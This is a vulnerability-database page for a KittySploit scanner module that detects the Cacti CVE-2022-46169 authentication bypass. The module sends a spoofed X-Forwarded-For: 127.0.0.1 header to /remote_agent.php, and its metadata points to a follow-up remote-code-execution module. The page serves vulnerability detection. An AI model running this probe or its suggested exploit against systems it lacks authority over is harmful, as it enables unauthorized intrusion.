Lucene search
+L

Cacti CVE-2022-46169 remote_agent Detect

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 14 Views

Auth bypass in Cacti /remote_agent.php via X-Forwarded-For and poller_id injection.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
1 May 202314:29
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
1 Apr 202319:20
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
21 May 202306:43
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
1 May 202314:29
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
11 Mar 202319:39
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
13 Jan 202305:37
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
1 May 202320:00
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
8 Dec 202201:52
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
4 May 202321:21
–githubexploit
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Cacti
16 Dec 202216:16
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cacti CVE-2022-46169 remote_agent X-Forwarded-For bypass detect."""

from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "Cacti CVE-2022-46169 remote_agent Detect",
        "description": (
            "Detects auth bypass on /remote_agent.php via X-Forwarded-For and "
            "poller_id injection surface."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": ["CVE-2022-46169"],
        "tags": ["web", "scanner", "cacti", "cve-2022-46169"],
        "references": ["https://nvd.nist.gov/vuln/detail/CVE-2022-46169"],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 2,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals"],
            "chain": {
                "suggested_followups": ["exploits/multi/http/cacti_cve_2022_46169_rce"],
            },
        },
    }

    cacti_path = OptString("", "Cacti URL prefix", required=False)

    def _query(self, poller_id: str, xff: str | None = None) -> str:
        prefix = str(self.cacti_path or "").strip().rstrip("/")
        base = f"{prefix}/remote_agent.php" if prefix else "/remote_agent.php"
        params = (
            f"action=polldata&local_data_ids[0]=6&host_id=1&poller_id="
            f"{quote(poller_id, safe='')}"
        )
        headers = {"X-Forwarded-For": xff} if xff else None
        r = self.http_request("GET", f"{base}?{params}", headers=headers)
        return (r.text or "") if r else ""

    def run(self):
        neg = self._query("1").lower()
        pos = self._query("1", "127.0.0.1")
        if "not authorized" in neg and (pos.strip().startswith("[") or "local_data_id" in pos):
            self.set_info(
                severity="critical",
                cve="CVE-2022-46169",
                reason="remote_agent X-Forwarded-For auth bypass",
                confidence="high",
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.99826
SSVC
14